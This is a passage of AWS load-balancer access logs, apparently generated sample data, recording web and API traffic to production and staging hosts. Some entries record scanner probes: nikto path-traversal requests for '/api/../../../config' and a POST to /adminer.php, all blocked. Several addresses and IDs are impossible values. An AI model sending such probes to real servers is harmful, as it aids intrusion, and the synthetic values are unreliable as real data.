prod-web-alb 218.240.106.253:50635 10.0.54.243:443 0.063195 0.282621 0.058022 200 200 874 7571 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbb3-2e7fd403dd284ce49ef3e591" "prod-web-alb.example.com" "-" 7 2024-11-01T00:17:39.908339Z "forward" "-" "-" "10.0.54.243:443" "200" "-" "-" +https 2024-11-01T00:17:41.676812Z prod-web-alb 120.1.82.122:48461 10.0.39.165:443 0.011656 0.289872 0.060760 200 200 823 2594 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbb5-06643ebdadef4f2b8b1d1594" "prod-web-alb.example.com" "-" 7 2024-11-01T00:17:41.676812Z "forward" "-" "-" "10.0.39.165:443" "200" "-" "-" +https 2024-11-01T00:17:43.350189Z staging-alb 9.158.227.27:42517 245.235.45.11:443 0.067276 0.152006 0.029310 200 200 688 3958 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbb7-44381888c0e044089352f7f7" "staging-alb.example.com" "-" 3 2024-11-01T00:17:43.350189Z "forward" "-" "-" "245.235.45.11:443" "200" "-" "-" +https 2024-11-01T00:17:43.660062Z prod-api-alb 234.6.24.67:62791 10.0.225.254:443 0.012989 0.305082 0.046980 301 301 923 9507 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbb7-3acc1e99c31d4b2ab183a589" "prod-api-alb.example.com" "-" 8 2024-11-01T00:17:43.660062Z "forward" "-" "-" "10.0.225.254:443" "301" "-" "-" +https 2024-11-01T00:17:44.034715Z prod-web-alb 77.162.137.139:31490 10.0.137.107:443 0.050257 0.388743 0.049679 200 200 618 935 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbb8-1abfae3985a34dd18e480e75" "prod-web-alb.example.com" "-" 0 2024-11-01T00:17:44.034715Z "forward" "-" "-" "10.0.137.107:443" "200" "-" "-" +https 2024-11-01T00:17:44.678566Z prod-api-alb 50.147.228.30:32567 10.0.144.189:443 0.091690 0.089019 0.064656 200 200 116 10214 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbb8-b9315c35d4544961a49cb96d" "prod-api-alb.example.com" "-" 5 2024-11-01T00:17:44.678566Z "forward" "-" "-" "10.0.144.189:443" "200" "-" "-" +https 2024-11-01T00:17:44.837568Z prod-api-alb 47.209.28.135:49918 10.0.53.24:443 0.080202 0.122986 0.038187 301 301 808 6535 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbb8-924a806debbd4f959667df47" "prod-api-alb.example.com" "-" 6 2024-11-01T00:17:44.837568Z "forward" "-" "-" "10.0.53.24:443" "301" "-" "-" +https 2024-11-01T00:17:46.426196Z prod-api-alb 55.151.101.109:34979 10.0.226.178:443 0.020122 0.167103 0.091150 200 200 43 11518 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbba-a93169404d234af787f1af66" "prod-api-alb.example.com" "-" 3 2024-11-01T00:17:46.426196Z "forward" "-" "-" "10.0.226.178:443" "200" "-" "-" +https 2024-11-01T00:17:48.014940Z prod-api-alb 111.234.168.91:45494 10.0.222.100:443 0.082137 0.111309 0.096534 200 200 888 12933 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbbc-923321ce31bc4cb6a038f34d" "prod-api-alb.example.com" "-" 8 2024-11-01T00:17:48.014940Z "forward" "-" "-" "10.0.222.100:443" "200" "-" "-" +https 2024-11-01T00:17:48.182121Z staging-alb 224.217.216.122:56493 192.108.190.98:8080 0.103745 0.660556 0.103869 200 200 369 1933 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbbc-da5fbea42c4f4eb3b373af70" "staging-alb.example.com" "-" 7 2024-11-01T00:17:48.182121Z "forward" "-" "-" "192.108.190.98:8080" "200" "-" "-" +https 2024-11-01T00:17:48.560315Z staging-alb 222.143.251.125:51320 182.83.81.248:8080 0.073301 0.710568 0.013004 301 301 3 8789 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbbc-0159a406446a41d7ab6536aa" "staging-alb.example.com" "-" 0 2024-11-01T00:17:48.560315Z "forward" "-" "-" "182.83.81.248:8080" "301" "-" "-" +http 2024-11-01T00:17:48.833272Z staging-alb 118.145.132.239:23398 32.247.210.115:443 0.058781 0.212350 0.116714 200 200 239 12974 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbbc-cc9ca132ec24458bb8b60283" "staging-alb.example.com" "-" 2 2024-11-01T00:17:48.833272Z "forward" "-" "-" "32.247.210.115:443" "200" "-" "-" +https 2024-11-01T00:17:49.219658Z staging-alb 52.130.104.252:31341 243.152.244.252:443 0.142487 0.716272 0.020334 200 200 300 4742 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbbd-d5e7bbab99b948f0bb026e88" "staging-alb.example.com" "-" 4 2024-11-01T00:17:49.219658Z "forward" "-" "-" "243.152.244.252:443" "200" "-" "-" +https 2024-11-01T00:17:49.585217Z prod-web-alb 42.66.72.98:54394 10.0.16.38:443 0.040228 0.146565 0.093046 200 200 849 14519 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbbd-f108e5d301064fa3a98a3c80" "prod-web-alb.example.com" "-" 9 2024-11-01T00:17:49.585217Z "forward" "-" "-" "10.0.16.38:443" "200" "-" "-" +http 2024-11-01T00:17:49.741891Z staging-alb 130.149.175.210:47952 197.51.213.28:8080 0.001874 0.293362 0.060567 200 200 629 5654 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbbd-c07761ed5032477f94e549f7" "staging-alb.example.com" "-" 4 2024-11-01T00:17:49.741891Z "forward" "-" "-" "197.51.213.28:8080" "200" "-" "-" +https 2024-11-01T00:17:51.434171Z prod-web-alb 7.139.165.38:49727 10.0.100.190:443 0.020071 0.139793 0.097742 200 200 622 1619 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbbf-d34dd162433b47e984ddfe53" "prod-web-alb.example.com" "-" 5 2024-11-01T00:17:51.434171Z "forward" "-" "-" "10.0.100.190:443" "200" "-" "-" +https 2024-11-01T00:17:52.084559Z prod-api-alb 238.32.19.103:12671 10.0.224.95:443 0.087763 0.467503 0.019428 200 200 650 11308 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbc0-0fcf6fc84e1440aca7374580" "prod-api-alb.example.com" "-" 10 2024-11-01T00:17:52.084559Z "forward" "-" "-" "10.0.224.95:443" "200" "-" "-" +https 2024-11-01T00:17:52.371658Z prod-api-alb 129.116.162.28:50444 10.0.112.10:443 0.004439 0.452026 0.097059 301 301 740 2245 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbc0-2c68274c61204dc79fbc31fc" "prod-api-alb.example.com" "-" 4 2024-11-01T00:17:52.371658Z "forward" "-" "-" "10.0.112.10:443" "301" "-" "-" +https 2024-11-01T00:17:53.800976Z prod-web-alb 134.36.24.83:63656 10.0.88.156:443 0.016808 0.327384 0.029815 200 200 344 7155 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbc1-a2df2935a27b4a3d9dca6db9" "prod-web-alb.example.com" "-" 9 2024-11-01T00:17:53.800976Z "forward" "-" "-" "10.0.88.156:443" "200" "-" "-" +https 2024-11-01T00:17:55.063188Z prod-web-alb 58.205.67.47:59415 10.0.250.224:443 0.068087 0.426146 0.016883 404 404 734 13018 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbc3-c77f7f16545440a3a0cf1767" "prod-web-alb.example.com" "-" 10 2024-11-01T00:17:55.063188Z "forward" "-" "-" "10.0.250.224:443" "404" "-" "-" +https 2024-11-01T00:17:56.301689Z staging-alb 19.54.66.191:14595 49.246.170.66:443 0.031010 0.097753 0.052952 200 200 845 14714 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbc4-0cf4a64fffb445ba962cd4ed" "staging-alb.example.com" "-" 8 2024-11-01T00:17:56.301689Z "forward" "-" "-" "49.246.170.66:443" "200" "-" "-" +https 2024-11-01T00:17:56.489601Z prod-web-alb 184.163.170.87:42098 10.0.54.50:443 0.029101 0.329895 0.027089 301 301 555 4242 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbc4-0c47d2d5ca0443d6ac096f95" "prod-web-alb.example.com" "-" 2 2024-11-01T00:17:56.489601Z "forward" "-" "-" "10.0.54.50:443" "301" "-" "-" +https 2024-11-01T00:17:57.786732Z prod-web-alb 65.79.25.8:58426 10.0.21.85:443 0.047273 0.410886 0.057200 302 302 179 13200 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbc5-47df72ef27424c3a87f1eb9f" "prod-web-alb.example.com" "-" 1 2024-11-01T00:17:57.786732Z "forward" "-" "-" "10.0.21.85:443" "302" "-" "-" +https 2024-11-01T00:17:58.455289Z prod-api-alb 45.155.205.19:31361 10.0.66.253:443 0.018895 0.383434 0.041278 403 403 94 11045 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbc6-b653432809aa47ceb7e8e000" "-" "-" 8 2024-11-01T00:17:58.455289Z "forward" "-" "-" "10.0.66.253:443" "403" "-" "-" +https 2024-11-01T00:17:59.608978Z staging-alb 93.56.132.233:30003 171.51.149.141:8080 0.140015 0.373579 0.106051 301 301 135 6322 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbc7-571561b4e6e141d0bac5df0f" "staging-alb.example.com" "-" 10 2024-11-01T00:17:59.608978Z "forward" "-" "-" "171.51.149.141:8080" "301" "-" "-" +https 2024-11-01T00:18:01.406614Z prod-api-alb 189.164.226.25:31846 10.0.111.236:443 0.076328 0.474514 0.046186 200 200 931 2810 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbc9-7bf1f16e74bd4c8eb2f3ec90" "prod-api-alb.example.com" "-" 8 2024-11-01T00:18:01.406614Z "forward" "-" "-" "10.0.111.236:443" "200" "-" "-" +https 2024-11-01T00:18:02.331446Z prod-api-alb 14.231.188.164:54916 10.0.243.194:443 0.016876 0.137316 0.095903 301 301 452 13563 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbca-d38b994f138c4b479a90d557" "prod-api-alb.example.com" "-" 10 2024-11-01T00:18:02.331446Z "forward" "-" "-" "10.0.243.194:443" "301" "-" "-" +http 2024-11-01T00:18:04.221958Z staging-alb 28.46.116.146:20268 101.108.115.162:80 0.047846 0.491596 0.014052 301 301 216 5837 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbcc-b8dc871f0cbc4a89951a42ff" "staging-alb.example.com" "-" 2 2024-11-01T00:18:04.221958Z "forward" "-" "-" "101.108.115.162:80" "301" "-" "-" +http 2024-11-01T00:18:04.726344Z staging-alb 90.171.128.122:45853 49.56.60.250:443 0.039994 0.350629 0.012621 200 200 86 11115 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bbcc-ea743125da8e4d318eab4f1a" "staging-alb.example.com" "-" 1 2024-11-01T00:18:04.726344Z "forward" "-" "-" "49.56.60.250:443" "200" "-" "-" +https 2024-11-01T00:18:05.291530Z prod-web-alb 140.29.163.90:49138 10.0.58.248:443 0.015400 0.356545 0.094670 200 200 953 5334 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbcd-89999b5c494b448baa7b3e76" "prod-web-alb.example.com" "-" 10 2024-11-01T00:18:05.291530Z "forward" "-" "-" "10.0.58.248:443" "200" "-" "-" +https 2024-11-01T00:18:06.882628Z prod-api-alb 121.95.235.132:33637 10.0.86.143:443 0.058963 0.496813 0.060916 404 404 552 12122 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbce-5f9b36042fc74d84afe42701" "prod-api-alb.example.com" "-" 9 2024-11-01T00:18:06.882628Z "forward" "-" "-" "10.0.86.143:443" "404" "-" "-" +https 2024-11-01T00:18:08.366432Z prod-web-alb 138.87.41.116:16122 10.0.203.129:443 0.026435 0.194553 0.024816 302 302 867 5074 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbd0-34b8ade8041546fc82d6f0a0" "prod-web-alb.example.com" "-" 8 2024-11-01T00:18:08.366432Z "forward" "-" "-" "10.0.203.129:443" "302" "-" "-" +https 2024-11-01T00:18:09.179359Z prod-web-alb 3.183.242.0:27964 10.0.155.117:443 0.066651 0.025504 0.098835 302 302 101 7355 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbd1-53adabd4da874e0da0b0b948" "prod-web-alb.example.com" "-" 3 2024-11-01T00:18:09.179359Z "forward" "-" "-" "10.0.155.117:443" "302" "-" "-" +https 2024-11-01T00:18:09.325382Z staging-alb 12.86.148.135:20777 144.208.36.89:80 0.127927 0.717964 0.047361 302 302 22 14901 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbd1-beda083b50eb4726a5b61bb9" "staging-alb.example.com" "-" 7 2024-11-01T00:18:09.325382Z "forward" "-" "-" "144.208.36.89:80" "302" "-" "-" +http 2024-11-01T00:18:11.197207Z staging-alb 45.155.205.142:27437 160.165.204.146:80 0.033582 0.199645 0.107411 403 403 217 622 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbd3-b05f0bd96aa44d8f9197eb6b" "-" "-" 8 2024-11-01T00:18:11.197207Z "forward" "-" "-" "160.165.204.146:80" "403" "-" "-" +https 2024-11-01T00:18:11.427380Z prod-api-alb 100.59.133.172:32095 10.0.35.15:443 0.043460 0.344752 0.092222 404 404 206 11595 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbd3-7518ffcbff4f467f8aab8955" "prod-api-alb.example.com" "-" 2 2024-11-01T00:18:11.427380Z "forward" "-" "-" "10.0.35.15:443" "404" "-" "-" +https 2024-11-01T00:18:13.012337Z staging-alb 137.93.185.4:62205 173.33.195.243:8080 0.090909 0.264057 0.010706 302 302 270 5196 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bbd5-6ba12b29ada5470f979c6a1e" "staging-alb.example.com" "-" 5 2024-11-01T00:18:13.012337Z "forward" "-" "-" "173.33.195.243:8080" "302" "-" "-" +https 2024-11-01T00:18:14.122756Z prod-api-alb 240.175.55.148:49761 10.0.250.103:443 0.062346 0.158391 0.028959 301 301 466 4766 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbd6-bfc48d1ab730477e8cbb0e82" "prod-api-alb.example.com" "-" 7 2024-11-01T00:18:14.122756Z "forward" "-" "-" "10.0.250.103:443" "301" "-" "-" +https 2024-11-01T00:18:15.321685Z prod-web-alb 242.167.248.214:13692 10.0.42.228:443 0.059201 0.328751 0.091851 200 200 452 12904 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbd7-a0e9f8b883324601b69789b1" "prod-web-alb.example.com" "-" 9 2024-11-01T00:18:15.321685Z "forward" "-" "-" "10.0.42.228:443" "200" "-" "-" +https 2024-11-01T00:18:15.497987Z prod-web-alb 179.41.64.3:54964 10.0.166.143:443 0.068390 0.488302 0.025885 200 200 217 11028 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbd7-505fd1ef2dfb4d80958b71e5" "prod-web-alb.example.com" "-" 8 2024-11-01T00:18:15.497987Z "forward" "-" "-" "10.0.166.143:443" "200" "-" "-" +https 2024-11-01T00:18:16.767946Z prod-web-alb 12.199.106.191:17242 10.0.197.250:443 0.071498 0.093504 0.044527 200 200 120 6408 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbd8-508dff27f5c949a093fa1365" "prod-web-alb.example.com" "-" 9 2024-11-01T00:18:16.767946Z "forward" "-" "-" "10.0.197.250:443" "200" "-" "-" +https 2024-11-01T00:18:18.067369Z prod-api-alb 45.155.205.151:13798 10.0.232.16:443 0.078909 0.073507 0.081692 401 401 66 6063 "POST /adminer.php HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbda-83a9fdd25935462780cd1d44" "-" "-" 8 2024-11-01T00:18:18.067369Z "forward" "-" "-" "10.0.232.16:443" "401" "-" "-" +https 2024-11-01T00:18:19.180454Z prod-web-alb 79.73.229.237:27357 10.0.241.18:443 0.012450 0.287865 0.033071 404 404 86 2938 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bbdb-8f23334b9f6a4bb986aaf88e" "prod-web-alb.example.com" "-" 5 2024-11-01T00:18:19.180454Z "forward" "-" "-" "10.0.241.18:443" "404" "-" "-" +https 2024-11-01T00:18:19.660629Z prod-api-alb 40.143.15.175:49023 10.0.164.180:443 0.014577 0.393575 0.074667 200 200 950 3002 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbdb-9875a4eb37d24cff804e6d97" "prod-api-alb.example.com" "-" 8 2024-11-01T00:18:19.660629Z "forward" "-" "-" "10.0.164.180:443" "200" "-" "-" +https 2024-11-01T00:18:21.520175Z prod-api-alb 70.13.245.112:23779 10.0.135.41:443 0.078685 0.192406 0.025488 301 301 196 9074 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bbdd-275bc003f9484f0c9504961b" "prod-api-alb.example.com" "-" 2 2024-11-01T00:18:21.520175Z "forward" "-" "-" "10.0.135.41:443" "301" "-" "-" +https 2024-11-01T00:18:22.392363Z prod-web-alb 157.108.177.1:36206 10.0.85.199:443 0.099051 0.384409 0.089438 200 200 986 8378 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bbde-4302a716b82c408095887231" "prod-web-alb.example.com" "-" 9 2024-11-01T00:18:22.392363Z "forward" "-" "-" "10.0.85.199:443" "200" "-" "-" +https 2024-11-01T00:18:22.495025Z prod-api-alb 219.111.238.251:47004 10.0.67.159:443 0.014423 0.198635 0.000998 200 200 441 272 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbde-334d763a5c65497db7fe1c89" "prod-api-alb.example.com" "-" 6 2024-11-01T00:18:22.495025Z "forward" "-" "-" "10.0.67.159:443" "200" "-" "-" +https 2024-11-01T00:18:23.008740Z prod-api-alb 145.236.26.136:43140 10.0.125.235:443 0.093076 0.276761 0.075856 301 301 907 8217 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bbdf-3b301879c11e49ca90f4e1de" "prod-api-alb.example.com" "-" 10 2024-11-01T00:18:23.008740Z "forward" "-" "-" "10.0.125.235:443" "301" "-" "-" +https 2024-11-01T00:18:23.700738Z prod-web-alb 89.141.30.162:36101 10.0.13.67:443 0.060034 0.208820 0.057371 200 200 447 2030 "GET 